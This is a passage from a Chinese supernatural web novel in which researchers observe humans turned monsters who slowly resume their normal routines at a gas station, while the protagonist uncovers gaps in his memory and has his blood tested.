谢叙白脸上写满义愤填膺,先是跟着骂了小偷两句,随后状似热心地为它支招:“你快检查一下其他加油机,是不是也被抽干净了油,如果是的话,这么大的事肯定瞒不下去,劝你赶快找老板告知情况,然后查监控找到偷油的贼,降低损失!” “对对对!你说得对!”怪物一听他的话,甚至顾不上再狂暴,匆匆忙忙地检查每个加油机,翻遍全身找手机,又快步跑去监控室。 它的衣服已经破烂开口,自然找不到手机,联络不到老板,更没法在早已断电的监控室里查到监控,登时像热锅上的的蚂蚁,急得团团转。 “人呢?人都跑哪儿去了?今天不是该上班吗?” 谢叙白打了一个手势,跟随在侧的研究人员们立马拿出记录仪,将怪物的行为逻辑记录下来。 通过这几分钟的观察时间,他们发现,这只怪物仍旧遵守着没有异化前的行为逻辑,仿佛被固定在僵硬的模版中,跳不出思维局限。 最后,谢叙白答应帮忙找小偷,才让六神无主的怪物逐渐安稳下来。 谢叙白:“你平时住在什么地方?” 怪物老老实实地指着背后的值班室:“二楼上去是职工宿舍,我刚来上班,还没找到租房的地方,老板说我可以先在里面住两天。” 谢叙白:“那你先留在这里,该做什么就做什么,我让我的朋友陪着你,如果你的老板来了,也好帮你解释一下情况。汽油被偷的时候你和你同事都不在这里,连后面的超市都被洗劫一空,不是你的责任,别担心。” 怪物听到有人帮忙解释,绷紧的脸皮瞬间缓和不少,连忙点头如捣蒜:“谢谢了哥,要不然我真不知道该怎么办。” 其实谢叙白实际比怪物还要年轻好几岁,但就是这沉稳镇定的气质,让怪物下意识就选择了信服,加上认知受限,根本不疑有他,转身就继续蜷在小椅子上呆呆地坐着了。 谢叙白见它块头太大坐得憋屈,叫人去对面的卫生防疫中心给它搬来一张大点的椅子。 瞬间,怪物感激的眼神中更多出一抹热切。 谢叙白亲身进入防疫中心,把偷偷溜进里面的怪物都赶走,空出来给研究人员当临时驻地,方便他们近距离观察加油站员工的变化。 谢叙白道:“再找一辆献血车过来,等它饿了之后开到路边,告诉它□□血可以提供食物。” 采集来的血液当然是为了做研究,但有人不明白为什么要多此一举:“不能直接把它抓起来吗?” “不,我们需要观察怪物重新恢复人类思维的契机和规律,得出结论之前不要干扰它的生活轨迹。”谢叙白一声令下,“控制时间制造偶然事件,尝试和它交流沟通、引起情绪变化,尽可能全面地记录它的行为逻辑并加以分析。切记以大家的安全为主,没有我的首肯,谁都不能轻易尝试激怒它。” 众人正色:“是!” 刚巧防疫中心背后就有献血专用车,基地的后勤人员大多是防疫中心的工作人员,轻车熟路地把它开了过来,成功采集到加油站工作员的血液样品,再送交基地实验室。 多亏这些血液,加上谢叙白之前提供的思路,裴玉衡他们的研究有了新一步的进展——最新的抗病毒细胞竟然没有完全扭曲异化,还保留着部分原本的细胞功能! 如果最终可以证明变成怪物是可控的,那么他们完全可以自主异化成怪物,借此抵挡异空间的污染! 听上去很绕,其实就是在得病之前注射疫苗,让身体先一步产生抵御病毒的抗体,两者是同样的道理。 即使先前半信半疑,眼下实实在在的例子和研究结果摆在面前,研究人员们也不得不相信。 再经由多次实验,他们惊喜地发现这方向真的可行!宛如在漫漫长夜中看见一丝曙光,立时将全身心都投入进去。 至于变成怪物会人们心理产生什么样的负担、有多少人不能接受自己变成怪物的事实、以后还能不能变回人类的本貌,诸如此类的问题,也得在活下去之后再去考虑。 俗话说得好,留得青山在不愁没柴烧,活着,才是当下位于首列的目标。 自那之后,又是几天过去,监视加油站员工的观察员忽然传来一个重磅消息——荒废的长润加油站竟然重新开始营业了! “明明加油站的电缆都被剪断了,但是它竟然一夜之间恢复了供电供水!广告牌上的缺口不见了,地板上的垃圾血迹眨眼间全部消失,这怎么可能!难道有什么力量在操控它吗?是妖怪吗?还是诡魂?我们到底在和什么对抗——” 听着观察员那边语无伦次的讲解,逐渐有疯狂的趋势,谢叙白沉声打断他的话:“别激动冷静下来!我们连人变成怪物都能分析研究,还有什么可畏惧的?不要被它恐吓住!” “你们继续观察情况,我马上赶到!通讯不要挂断,时刻和我保持联系!” 此去谢叙白使用玩家A留下来的改装越野,用最快的速度赶到现场。 到加油站一看,真就如观察员所说,原本凄清残破、遍地血污的加油站忽然变得干干净净,地上的塑料袋和灰尘被打扫一空,尸体不翼而飞,墙壁洁白,加油机被擦得锃亮,像是新买来的一样。 加油站员工坐在椅子上,它的体型变小很多,虽然还是壮得不像人类,但好歹能看出正常人的五官。 看见谢叙白赶来,对他颇有好感的员工起身相迎,脸上热情洋溢:“裴先生来加油吗?多亏你之前帮我找到小偷,追回了失窃汽油,要不我得被扣光工资……嚯!您这辆改装车可真帅!” 和初见时比起来,员工说话明显更自然了,表情生动不少。 如果不是皮肤上的瘢痕没有退尽,獠牙尖锐,残留着怪物的特征,简直和正常人没什么两样。 谢叙白看着员工的笑脸,心里猛然一空。 他向来不惮于把事情往最极端的方面去猜测。 按照眼前的趋势,他有理由怀疑,再过不久后,员工就会彻底恢复正常人的模样。 研究人员聚集在实验室开会。 有人听完谢叙白的猜测,瞬间很是惊喜:“那这不是好事吗?” 是啊,变成怪物以后居然还能重新变回人类,这不是好事又是什么? 谢叙白果断地摇了摇头,眼神深邃沉静,脸上看不见一点喜色。 他站起身来,打开窗户。 一轮红月挂在白雾朦胧的夜空,猩红阴郁的月光倾轧大地。放眼望去,满目狼藉,可怖扭曲的影子游走在残垣断壁之间,嘶吼声断断续续传来,让人毛骨悚然。 谢叙白问:“你们觉得这样的世界正常吗?” 众人毫不犹豫地否认,这怎么可能正常。 谢叙白又问:“那【加油站员工】觉得这样的世界正常吗?” 众人闻言一滞,脸色忽然大变。 【加油站员工】是他们给那只怪物取的临时代号。 这么多天以来,怪物像是看不见马路上堆成山的尸体和街道两边荒废的商铺,每天正常上下班,饿了渴了就找献血车。 在它眼里,必定一切都是正常的,才能这么自然地生活下去! 谢叙白的表情比他们还凝重。 认知受到无名力量阻碍,对世界的真相无知无觉,这不就是…… 接下来的时间,加油站里每天都会出现一点新的变化。 【加油站员工】的怪物特征以显而易见的速度缓慢消失,尸斑消去,獠牙缩短,露出被晒得发黑的一张脸,眼睛有神,笑起来显得淳朴老实。 加油站的指示牌焕然一新,不,应该说它恢复了现实世界的模样,暗红色的血污消失,铁皮表面带着点点锈迹,边缘朝内卷起,但由于每天刷洗,看着很干净。 一道又一道庞大健壮的身影出现。 他们有穿着加油站的红色制服,和【加油站员工】友好简单地打了个招呼,也搬来个小板凳坐着。 有穿着休闲装,走进后面的超市,呆呆地站在前台,坐下来,大拇指敲击黑屏的手机。 有穿着蓝色的保安服,先去值班室倒上一杯茶,随后走进保安亭,缓慢迟钝地坐了下来。 路边的显示屏灯光,黑底红字写着今日的汽油价。 员工给加油机接上胶管,做好加油的准备工作,日常保养,检查维修。 小超市的货架上重新摆上商品,汽水、薯片、方便面一应俱全,前台在收银机前无聊地玩手机,宛如铁钳般的金属双臂一点点浮现出白皙的肤色,露出人类的腕骨。 当谢叙白接到观察员的汇报,再次踏入加油站的地盘时,他听见耳边传来一声清晰明了的提示声,宛若惊雷乍响。 【叮!素材融合完毕、建模渲染完毕……NPC已就位……《长润加油站》副本已生成,随时可以投入试炼!】 第102章 花花献给你 谢叙白猝然止步,眼眸沉了又沉,凝重地审视眼前的加油站。 自进入里世界以来,无论是污染扩散对现实世界的影响,还是时间流速的差异,都带给他一股微妙诡异的既视感。 ——眼前不断融合着现实世界各项因素的诡异空间,和他未来生活的世界多么神似? 而当这条提示声传出的刹那间,多日的思虑和怀疑更是如冷水入油锅般全面沸腾! ——有没有可能,未来世界,即他所生活的世界,一直都处于《请遵守设定》的副本中,不是真实的世界? 只要往这个方向一深想,谢叙白的内心就如同受到极大冲击般天翻地覆,嗡鸣不断,震响不止。 通讯器内一阵轩然大波。 其他研究人员不像谢叙白能够听到系统的提示声,但他们能从无人机监控镜头,看见眼前的景象。 不到一米外的大马路上尸横遍野,腐臭味浓郁扑鼻。电线杆不知道被什么东西拦腰撞断,砸上地板,裂痕如蛛网蔓延。远处的居民楼漆黑残破,方圆千米渺无人烟,周围死一般沉寂。 与之相对的,是加油站的干净整洁。电箱传出电力系统运转的嗡嗡噪音,便利店和显示屏上灯光通明,人们有说有笑,脸上热情洋溢。 混乱中的井然有序,将这个小小的加油站衬得像末日中的孤岛,似乎叫人欣慰。 然而下一秒,保安和另一个低头玩手机没看路的员工不小心撞在一起,端着的热茶倒泼全身,衣服湿透。 登时,保安瞪大双眼,像头被触怒的公牛,完全控制不住情绪,大吼:“你会不会看路?!”一拳头恶狠狠地砸下去! 员工根本没反应过来,嘭的一声脸被砸了个血肉模糊,头颅碎裂! 但他竟然没有倒下去,碎裂的头颅咯吱咯吱地抽搐个不停,双臂像两条灵活柔软的蛇,唰一下勒住保安的脖子!边勒边破口大骂:“我去你X的!” 两头怪物大打出手,露出尖锐的獠牙,看它们凶狠狰狞的表情,毫不怀疑想要杀死对方!画面极其凶残,血液肉屑溅了一地。 全程,其他“人”就像没事人一样满脸漠然,连眼神都懒得施舍一下。 直至终于有一方决出胜负,另一头怪物轰然倒地,浑浊灰白的眼球突出,不甘不愿地咽下最后一口气,清洁工才慢吞吞地上前把它的尸体拖走,丢进后面的垃圾车,沿途留下蜿蜒的血痕。 数秒后,让人头皮发麻的事情发生了! 只见垃圾车的翻盖被“人”啪的一声从内大力掀开,本该没有声息的尸体颤颤巍巍地从里面爬了出来。 它傻乎乎地呆坐在血液盘踞的地面,碎裂的骨头重新拼合,被撕碎的躯壳长出血管和皮肉,伤口收拢闭合……不消多时,整具身体竟然恢复如初! 这时它又像中病毒宕机的电脑忽然格式化重启,一个激灵,眼神恢复清明,茫然地揉着后脑勺,边自言自语地说着:“我这是怎么了?”边起身离开。 通讯器中的喧哗声不知不觉停止,所有人手脚冰凉,如同目视一出荒诞离奇的戏剧,呼吸愈发沉重。 良久之后,有人终于忍不住开口,带着颤音提出灵魂一问。 “他们……还能算是人类吗?” 这件事情发生后,研究人员们开始恐惧变成怪物,更恐惧像怪物一样无法控制本能、丧失基本的人性。 而裴玉衡提出的“异化”猜想,毫无疑问遭到了众人的大力反对。 “草!我死都不要变成这样!” “您看看它们,和野兽没什么区别!” “不,它们更像被设定好的程序,像游戏中被人操控的NPC!思想不能自主,岂不是那股神秘的力量想让我们做什么我们就只能做什么,这太可怕了!” “您说变成怪物能够维持住人性,您真的有这个把握吗!?” 当天晚上,看过监控录像的裴玉衡跟着沉默一瞬。 谢叙白见他的表情不太对劲,似乎也开始怀疑研究的可行性,皱了皱眉头挡在他的面前。 还没开口,看见他动作的裴玉衡就猛地恢复过来,又把他拽到身后,跨步上前迎接众人的质疑和喝问,沉声道:“我说过,我曾经看见过保持理智的实例,如今研究还在进行中,在结果出来之前,一切都没有拍板定案。” 为了安抚众人,他提议两个研究方向同时进行,既研究正常的抑制手段,也考虑异化,不把鸡蛋放在同一个篮子里,无论哪一方出错,另一方也能兜底。 但将实验室一分为二,有个很大的弊端:人手不足,资源欠缺。 看过加油站的异常后,百分之八十五的人都摒弃了这一研究方向。 剩下包括李医生在内的百分十五,只是出自对裴玉衡的信任才坚持留下来,实际上他们打自内心觉得异化研究不可行,即使在技术上做到全力以赴,也能找到真正的突破口。 如此僵持不下,研究陷入停滞。 眼看着街道上出现的遇难者越来越多,污染将要爆发式扩散,如同泰山压顶般的重负几乎将裴玉衡压得喘不过气。 这一天,看着再次失败的实验结果,嘭的一声,裴玉衡毫无征兆地砸了一下桌面!桌上的滴定管和玻璃器皿跟着狠狠一抖。 身边的人从没看见他这样失态的样子,当即吓了一跳。李医生嚅嗫嘴唇,忧心忡忡地开口:“所长……” “抱歉,我没事。”裴玉衡深深地吐出一口气,环顾四周,若无其事地道,“今晚辛苦大家了,先回去休息吧。” 众人面面相觑,没来得及再次开口,就看见裴玉衡绷着脸皮转身离开。他们只能叹息,在压抑的气氛下陆陆续续地收拾东西,离开实验室。 当谢叙白闻讯找到裴玉衡时,对方正在材料储备室,穿着实验服,戴着手套,一声不吭地将置物架上的生物耗材归类整理。 听到谢叙白的脚步声,他头也不回地哑声道:“我知道自己的研究方向没错。” 裴玉衡很清楚,如果异化方向是在做无用功,来自未来的谢叙白早就出面阻止自己了,哪里会全程默许。 他只是觉得自己很没用,不能立刻找到那条正确的通路。在这来回验证的时间里,不知道会污染会扩散到什么程度,又有多少人会为之丧命。 裴玉衡声音发颤:“对不起。” 站在门口,瞄见裴玉衡宛若困兽般布满红血丝的眼睛,谢叙白的心脏瞬间紧紧地揪在一起。 然而,“不是你的错。”“你已经做得很好了。”“通往成功的路上必定会受到无数阻碍。”……诸如此类的安慰,都没法缓解裴玉衡的心结。 谢叙白退开一步,撤到拐角,良久的纠结后,摸了摸鼻梁上的金丝眼镜:“你能让我再一次变回小孩吗?” 金丝眼镜慢吞吞地动弹一下。 得到它肯定的回答,谢叙白心里一松,他用精神力在墙壁上留言,对眼镜说道:“那就拜托你了。” 但金丝眼镜没有立刻发力,两条眼镜腿忽然软成皮筋,犹如男人伸出去的臂膀,扣住谢叙白清瘦的肩膀。 谢叙白始料不及,被扣住后第一反应是伸手掰住眼镜腿,结果眼镜腿缠住他的手腕,将他背靠墙壁用力地抵上去,嘭!谢叙白的背部被震得微麻,一时间被禁锢得更紧。 金丝眼镜悬停在半空,透明镜片反射出泠泠微光,无声透着深沉,仿佛在饶有兴味地询问:我帮你,有什么奖励? 邪神的意识体分身,骨子里可没有无私奉献的精神,只是和其他分身相比,眼镜拥有宴朔的理智,所以懂得克制和放长线钓大鱼。 但它终究“贪得无厌”,稍微察觉出谢叙白态度的软化,便忍不住暴露出本性,顺着杆子往上爬。 细长的眼镜腿无限延展,似触手顺着肌肤蜿蜒缠绕,顶端探至谢叙白柔软的掌心,轻轻搔动,留下一片酥麻的痒意。 【你不能一味地找我帮忙,向我索取,却什么甜头都不给,对不对?】 这是金丝眼镜第二次与谢叙白对话,低沉磁性的语气格外蛊人。 谢叙白被眼镜腿攀爬过的肩膀和手掌如同过了电流,刺激得皮肤战栗,脚趾蜷缩,差点腿软滑到地上去。 下一瞬间,金色光索将眼镜套牢,猛一下将其大力拽飞! 眼镜重重地摔在对面墙壁上,轰然摔出一片龟裂的裂缝,墙壁灰和石头碎屑噼里啪啦往下掉。 谢叙白没想砸那么用力,顿时心惊胆战,起身跑去查看眼镜的情况。 却见那道掉落在地的小小身影唰一下蹿起来,即使迎着能将它粉身碎骨的金色光索,也要竭力伸长一根眼镜腿,稳稳地勾住谢叙白的手指。 指尖相勾的瞬间,谢叙白想起刚才的发难,心跳难免漏上一拍,浑身僵硬。 【不要害怕。】 金丝眼镜没有被拽飞摔墙上的恼怒,声音还是那样深沉平稳。 它的蛊惑对心智坚强的谢叙白没用,但渴望像是刻在骨子里,自然而然地倾泻而出,孜孜不倦又甘之如饴:【你可以试着亲我一下。】 苍白的走廊灯光下,另一根眼镜腿伸到谢叙白的面前,在青年凝滞的目光中,倏然变成一朵粉白色的小花。 这是开在宴朔意识海内的花,金丝眼镜自认为最珍贵的所有物。 它仍然不懂得人类的情感,只是本能地将珍爱的小花毫无保留地献到谢叙白的面前,沉稳冰冷的表象之下,纯粹又热烈。 【试试吧,只要你亲我一下,让我做什么都可以。】 …… 叩叩。 门外传来轻轻的敲门声,裴玉衡扭头看过去,只见一颗毛茸茸的小脑袋探出门框,穿着缩小版白大褂,粉白色小花别在胸口,黝黑大眼睛盛满干净明快的笑意:“亲爱的爸爸,我奉命来哄你啦!” 第103章 【含2w营养液】 投资商…… 裴玉衡一惊,想也没想地放下手中的东西快步走过去:“你怎么出来了?” 时间接近凌晨两点,猩红的月光透过玻璃洒在寂静的走廊上。窗外高楼影影绰绰,呼啸的冷风宛如怪物发出嘶哑的低吼。 原本裴玉衡没觉得有问题,现在只觉得四面八方全是危机,随时可能从哪个犄角旮旯窜出一头怪物将小叙白掳走。 他连忙将孩子护在怀里,快步退回药库,啪一下将门反锁,后知后觉渗出一背冷汗。 一转头,呵斥的话没能开口,就被一双小小的手臂搂住脖子。 小叙白毛茸茸的脑袋凑过来,照着他的脸颊吧唧亲上一大口! “有人留言说爸爸心情不好,所以召唤我来哄你开心!” 裴玉衡稍一细想就知道是谢叙白搞的鬼,拧紧眉头轻斥:“简直是胡闹。” 成年后的谢叙白实力强大,他尚且不能完全放心,何况是变小之后? 兴建卫生所的这段时间,他常和老弱妇孺打交道。发现小孩子的身子骨虽说脆弱,却不会像小叙白这样一脸病态。 裴玉衡严重怀疑小叙白是不是以前日子过得苦,落下了什么病根,心疼得无以复加。 见小家伙只是被冷风一吹,小脸就有发白的迹象,他着急忙慌地将外套脱下来裹上孩子的身体,转头调节室内温度。 小叙白发觉裴玉衡的意图,从后拽一拽他的衣摆:“不行的爸爸,药会坏掉的。” 实验室的药,自然对储存温度和光线都有要求。 裴玉衡微微顿住,很惊讶六、七岁的孩子竟然知道这一点。 下一秒小叙白抬起双手,金色光芒在掌心聚拢,如夜空中的繁星,温柔地映照在昏暗的房间内。 “精神力的光线不会对药物产生影响,释放的热量可以控制在一定范围内。”小叙白像是献宝般捧着金光,眼里晕染笑意,“这样爸爸在整理东西的时候就不会感觉到冷,也不会影响视线啦。” 孩子聪明是一回事,能条理不紊地吐出标准术语又是另一回事。 裴玉衡有点反应不过来,对上小叙白写着“快夸我快夸我”的黝黑大眼睛,下意识揉上去夸了两句。 鬼使神差的,他将就近处的药盒拿过来,递到小叙白的面前:“那你知不知道这是什么?” 药盒上的名字繁琐亢长,小叙白疑惑地瞅了瞅裴玉衡,伸脖子艰难认字,整张小脸都紧巴巴地皱在了一起:“唔……” 果然是我多心了吗?裴玉衡正要把药瓶拿走,忽然小叙白双眼一亮:“我想起来了,妈妈教过我的,是注射用脂溶性维生素!肠外营养剂,增强免疫力和预防疾病。” 刹那间,裴玉衡心里怎一个震惊可言。 他连忙拿起旁边的药盒,小叙白看过后毫不犹豫地回答了他。 就这么顺着架子一路认过去,直到最后一排,裴玉衡将药盒拿起来,猛然发现不对,药库管理员将这东西放错了地方。 而小叙白在底下眼巴巴地瞄上一眼后,也跟着开了口:“col-37疫苗。爸爸,蛋白质类生物制品要放在冰箱里哦,不然温度太高会变质的。” 裴玉衡:“……” 他盯着小叙白纯真无邪的脸,心里翻江倒海,震撼得几乎说不出话。 裴玉衡自己都是被从小称赞到大的天才,可他自认为在小叙白这个年纪,也做不到记清楚这么多药名及其功能作用。 孩子的母亲谢语春为什么能教授这些东西?对方到底是何方神圣? 更让人百思不得其解的是,长大后的裴余为什么不懂医药学,对生物制药一概不知? “爸爸是不是很惊讶?”并非完全的懵懂无知,小叙白似乎很清楚自己做出了惊人的举动。 他有些小嘚瑟,但不显得嚣张骄矜,眼睛发亮,透着一股远超这个年龄的成熟和平静:“可我也不是一次就学会的,是记了成百上千、上万次,才能将它们牢牢记住。” “妈妈告诉我,我以后可能会失败很多次,多到我数不清 ,沮丧、痛苦、崩溃全部体会个遍,但是没关系,所有的失败都会成为我通往成功的基石。” 小叙白咧嘴一笑,阳光灿烂:“不去计较失去和牺牲,只要有一次能够成功,我们就赚到啦!” 简简单单的道理,经由小孩子稚嫩清脆的嗓音坚定陈述,更显得振聋发聩。 裴玉衡怔在原地,和仰着脸蛋的小叙白对上眼,后者认真强调:“爸爸,不能动摇。” “妈妈说,谁都可以质疑自己,选择逃避,唯独我们不……” 话没说完,小叙白仿佛被抽空力气,眼皮子打颤,身体开始不稳摇晃。 “裴余!”裴玉衡大惊失色,连忙将他抱紧,慌张地检查身体,“你怎么样?不舒服吗?哪里不舒服?” “没事,没有不舒服,只是有点困,我一旦多动脑子就会很困。妈妈说是我的身体被套上了枷锁,以后枷锁会越套越紧,但早晚会打开的。” 小叙白双手伸出去,软趴趴地勾住裴玉衡的脖颈,柔嫩的小脸蹭蹭他。 “爸爸叫我裴余,我听到了……年年有余,那人留言说是爸爸取的名字,我好喜欢呀。” “其实我还有一个名字,叫谢叙白。是妈妈给我取的,我也超喜欢。”他有些虚弱,需要喘上两口气才能继续说话,笑声清脆又干净,叠着声唤人,怎么叫都叫不够,“爸爸,爸爸,阿余的爸爸在不在,白白的爸爸在这里吗?” 一声声充满依赖和孺慕的爸爸,仿佛浸润了裴玉衡动荡荒芜的内心。他的眼睛不知不觉就红了:“在的,爸爸在,乖,乖。” 小叙白猫儿般蹭蹭裴玉衡:“爸爸信不信我?” “信。”这个节骨眼,哪怕孩子说猪能上树,裴玉衡也会毫不犹豫地相信。 小叙白认认真真地看向他。 那双澄澈的眼眸如光般照向裴玉衡,炙热明亮,让裴玉衡油然感觉自己在被全心全意地信赖着,是世界最强。 好巧不巧,小叙白就是那样认为的。 他的爸爸,芝兰玉树,博闻强识,是世界上最好最厉害的爸爸。 小叙白用力搂着裴玉衡,笑声微小,却吐字有力,为裴玉衡一点点重塑起摇摇欲坠的信念:“所以爸爸要和我一样深信不疑,你很厉害,特别厉害,超级厉害!一定一定能够成功!一定一定不能放弃!” …… 第二天一早,谢叙白在裴玉衡的房间醒来,身上严严实实地搭着两层被子,热得直冒汗。 他掀开被子,一抬头就是裴玉衡的脸,后者递来一杯热牛奶:“刚热好,不烫。” 男人殷切的目光仿佛充斥着父性的光辉,谢叙白被看得头皮发麻,顿了顿,还是接过来喝了。 他稍一打量,发觉裴玉衡似乎满血复活,立时松上一口气。 随后又见裴玉衡拿来一个空药盒,问他:“你认不认识这是什么?” 药盒上全是德文。谢叙白虽不认识字,但跟裴玉衡整理货物的时候,大概记了一下图案,脑海中翻找一阵后回答:“col-37疫苗,预防脑动脉畸形瘤。” 他顺势观察裴玉衡的脸色,了然地说:“我的记忆有问题。” 不是疑问,是陈述。 裴玉衡意外地问:“怎么说?” 谢叙白淡然分析:“我事前说过自己不懂生物制药,在实验室的时候也没能帮得上忙。你突然拿这盒药来问我,只能是昨天的我表现出不符逻辑的行为,让你感到不解,所以才来找我求证。” 推测得分毫不差。 裴玉衡不由得感慨,昨天哄小叙白顺口,下意识伸手揉揉青年的头:“不错。” 谢叙白:“……?” 裴玉衡佯装没看见对方不自在的样子,将昨天和小家伙的对话详细复述。 即便沉稳如谢叙白,也不免感到惊讶,随后内容更是令他越听越激动,手指下意识蜷缩在一起。 最早找不到谢语春的人时,他就在怀疑自己的记忆有误,如今看来误差不仅存在,还大得不是一星半点。 先不说谢语春曾经教过他那么多超纲知识,他却莫名忘得一干二净,单说对方那些语焉不详的安慰告诫,和他目前的处境结合起来,处处都透着不能细想的深意。 究竟是什么原因导致他失去了小时候的大部分记忆?难道是规则作祟?枷锁是指认知受限?不,或许远没有那么简单! 诸多疑虑仿佛结成一张密不透风的大网,将所有人束缚其中。 如果能找到谢语春本人,大部分的疑惑都能迎刃而解。 谢叙白和裴玉衡的几名师姐见过面,可以确定她们都不是谢语春。 裴玉衡读到硕士研究生后就没有继续读下去,除了硕士时期的师姐,还能从哪儿找来其他的师姐? 也是这时,裴玉衡看着药盒忽然道:“术业有专攻,即使是生物制药,细分下来也有很多类别。你妈妈既然能教你们这么多错综复杂的知识,要么她杂而不精,要么她是领域专家,各方面都有涉猎,我倾向于后者。” 谢叙白猛然抬头:“你想到了什么?” “我在想,你自小就能使用的精神力若是受到她的引导,那她的专业领域方向,大概率关于研究大脑的神经科学。” 裴玉衡语气深沉:“这个领域的内容晦涩难懂,目前能做出成就的人屈指可数。她不是学生,凭她的能力,她可能是三级,甚至二级教授——我猜她在省科技园。” 此话一出,谢叙白的浑身肌肉瞬间绷紧。 裴玉衡怀疑,青年现在满脑子都在想如何用最快的速度赶到省科技园。 但谢叙白终究忍住了去找人的冲动。 他迫不及待想要见到谢语春,可也不会忘记自己还是个时空黑户,一个人独行有跳跃时间的风险。 万一此去一趟,再回来是好几年后,那黄花菜都凉了。 谢叙白只能先按捺住迫切,着力解决眼下的困境。 好在裴玉衡心里已经有了成算:“无中生有、凭空制造抗病毒物质的难度太大,我们没有这么多时间,所以依然只能从异化的人身上提取。但是加油站的那些人不行,他们并不能真正抵抗住污染。” 换而言之他们需要更换研究对象,一个真正不会被影响人性的特例。 谢叙白忽然抬眸:“等一下,有一个人始终没有被影响。” 裴玉衡连忙惊喜地问:“谁?” 他炯炯有神地道:“我。” 不管是未来还是现在,他一直都是人类之躯,从未被异化污染。 裴玉衡嘴角弧度一僵,想也没想地驳斥道:“不行!!” 有脑子的都知道成为实验品绝对不会轻松,一个是实验过程中的危险性,另一个是试验用药将会产生的后遗症,很有可能会危害终身! “没什么不行的。”谢叙白面色不改,比任何时候都要冷静得多,“如果没有过去,就不会存在未来,我自荐也是为了救自己。” “还有一件事,以前不管我怎么锻炼,都没法加强体质,我怀疑自己的身体有问题。”谢叙白诚恳地说,“其他人我都不放心,只能拜托你帮忙检查。” 裴玉衡的眉头紧得能夹死一只蚊子,不肯退让一步:“没那么简单!实验室的内部保密性没有你想的那样强,今天我把你带进去,明天消息就会传遍整个基地,到时候你会被架在火上烤!” 人性就是这样,谢叙白不出面还好,一旦主动站出来,身后便有无数双渴求生路的手将他推上风口浪尖,无法后退一步。 裴玉衡:“我可以帮你检查身体,但是你绝对不能成为实验品。” 谢叙白提议道:“可以先抽一管血来研究,对外隐瞒它的来源。” 裴玉衡一通话仿佛白说了,登时被气得肝疼,面色冷得掉冰渣:“你就非要把自己推上解剖台是不是?要不要片好之后再给你摆盘雕花?” 谢叙白嘴角微抽。 如今的裴玉衡就是个点燃的炮仗,他要再敢多说一句恐怕会被炸得够呛。 见青年状似老实地闭上了嘴,裴玉衡捂着胸口缓上一口气,结果下一秒,精神力捏造的小金人从后扯扯他的衣袖,眼巴巴地祈求:【爸爸,爸爸——】 只是这么软软糯糯地叫上一声,差点就把裴玉衡给叫化了。 更别提小金人能感受到他的情绪变化,乘胜追击,叠着声叫个不停:【爸爸,好爸爸,理理我吧?】 裴玉衡彻底没辙,将小金人捞过来,磨牙凿齿地在小屁股上拍打一下,又抬头,对上满眼无辜的谢叙白,冷声道:“跟我过来。” 他们没有去基地实验室。 裴玉衡找到警卫,借口要外出采样,婉拒想要陪同的李医生,和谢叙白通过宿舍一层的秘密通道,穿过黝黑无光的隧道,抵达地下室。 看着明亮干净的室内,谢叙白微微有些吃惊。 在裴玉衡原本的命运中,对方会被傅家人关在暗无天日的地下室折断傲骨,所以谢叙白在修缮卫生所的时候,并没有启用地下室。 多日不曾关注这里,才发现裴玉衡竟然在秘密开发地下室。 地板锃亮不见灰尘,各项仪器整齐摆放。单间相距比较大,没来得及撞上的防护门目测是合金制、三层厚。 裴玉衡解释道:“那些怪物或许还有变回人类的可能,但它们不是一般的病患,如果病情爆发,没人能制服得了,必须强制隔离。” “我预备在地下建造特殊病房,如果真的出现什么意外,不会影响外界。” 城南新区的卫生检疫中心就是在这方面疏忽了,才会沦陷,裴玉衡不得不未雨绸缪。 他这么一说,谢叙白也顺势想起关押着S级病患和傅倧的地下基地。 ——李医生曾说医院发生过一场爆炸,死伤惨重,大部分资料不幸损毁。不过看如今的地下室,似乎地下基地不仅没有受到影响,还扩大了规模……等一下! 谢叙白问:“我们可以留一个房间专门储存资料。” 裴玉衡不解青年为什么一脸亢奋,点头:“当然可以,地下室有配套的防潮防火系统。” 他却不知道谢叙白真正想保存的,是他被湮没在历史中的诸多事迹和证明。 地下病房属于秘密建设,能否建成,裴玉衡自己也没有把握,毕竟现在资源和人手都严重不足,连室内清洁,都是他一个人抽空赶在休息时间做的。 加上防疫中心先前闹出的意外,导致研究人员对怪物退避三舍,要他们再一次同意把怪物当成病人来接治,恐怕很难。 不去想那些遥远的东西,裴玉衡把谢叙白叫过去抽血。 谢叙白挽起袖子,露出曲线流畅的手臂,青色血管若隐若现,十分赏心悦目。 但当爹的只能看到瘦,太瘦了!简直痛心疾首。 “平时怎么就不知道多吃点?”裴玉衡问。 谢叙白:“……”他张了张嘴。 裴玉衡给他的手腕消毒,皱眉道:“算了别说话,听你开口就来气。” 老父亲还在气头上,谢叙白从善如流地闭嘴。 地下室的研究设备不完善,裴玉衡只能简单检查,实测能不能抗病毒,还得去上面的实验室。 他带谢叙白到地下室,主要是为了检查青年的身体,同样需要抽血检查,不然他也不会松口。小叙白的一身病态,终究也成为他的心病。 各项检查结果,至少要几小时后才能出来,上去之前,裴玉衡背对着谢叙白,给自己也抽了一管血,用作抗病毒研究。 谢叙白始料未及,见针头已经扎了进去,总不能暴力将采血管扯出来,急声道:“你——” “你什么你,没大没小的。”裴玉衡面不改色地抽完血,在他脑袋上轻拍一下,转身离开。 在此之前实验室众人尝试研究过谢叙白的精神力,最后发现,以现有的科技水平无法解释人的精神力为什么能够具象化,又或者是他们才疏学浅,只能将其归类于谢叙白特有的能力。 众人未曾将目光聚焦在谢叙白的身体,裴玉衡不仅给自己抽了一管血,之后又领人去往污染区,收集十几管血液,一同用作掩护。 当天下午,检测结果出来了。 谢叙白的身体没有抗病毒物质,没有基因突变,普通得不能再普通。 但他同时也不普通,只因各项检查标准远低于正常人。 换句话说。 他现在应该躺在病床上痛不欲生、咳血不止,而不是像个没事人一样,生龙活虎地到处蹦跶。 取检查报告的时候,裴玉衡特意避开了其他人。两人一同看着上面惨不忍睹的数值,怀疑自己累昏头出现了幻觉。 裴玉衡:“你以前检查的时候,有没有发现这些问题?” “没有。”学校几次组织体检都没有这些问题,最多只有贫血和营养不良。 谢叙白:“要不然再测一遍?” 裴玉衡皱眉:“嗯。” 他们前前后后总共检测了三次,三次都是一样的结果。 老父亲越看越揪心,如果眼神有温度,报告纸都得烧起来。 他捏着报告,脸上愁云惨淡,时不时警觉地看向谢叙白,让谢叙白有种自己离鬼门关只有一步之遥的错觉。 再这样下去,别说开解裴玉衡的心结,对方不把自己弄出心病都不算完。 谢叙白只能急急忙忙地停下检查。 这几天时间,观察员发现,在离加油站不远的地方,一家连锁超市的员工竟然也陆陆续续地回来。到岗、干活、恢复人形……一系列变化和当初的加油站一模一样! 